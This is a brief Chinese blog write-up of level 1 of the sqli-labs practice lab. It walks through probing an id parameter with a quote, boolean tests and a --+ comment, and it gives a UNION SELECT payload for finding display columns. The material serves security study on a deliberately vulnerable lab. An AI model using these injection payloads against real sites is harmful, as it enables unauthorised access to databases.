sqli_labs_master（LESS-1）

LESS—1

第一步：判断是否存在注入点

输入

/?id=1

/?id=2

有数据返回且不同，存在注入

第二步：判断语句是否拼接，且是字符型还是数字型

输入

/id=1 and 1=2

/?id=1'

出现报错，判断是字符型，说明是单引号，闭合则可以用 --+ 来注释掉后面的 ’

输入

/?id=1' and '1'='1

/?id=1' and '1'='2

出现回显正常和无回显

输入

/?id=-1' union select 1,2,3 --+

使id报错，执行后面的语句，爆出显示位，用--+屏蔽后面的  ' 和部分语句

至此，开始捣乱！！！！！！

 

__EOF__

本文作者：执小汐
本文链接：https://www.cnblogs.com/Zx0906/p/17429512.html
关于博主：评论和私信会在第一时间回复。或者直接私信我。
版权声明：本博客所有文章除特别声明外，均采用 BY-NC-SA 许可协议。转载请注明出处！
声援博主：如果您觉得文章对您有帮助，可以点击文章右下角【推荐】一下。您的鼓励是博主的最大动力！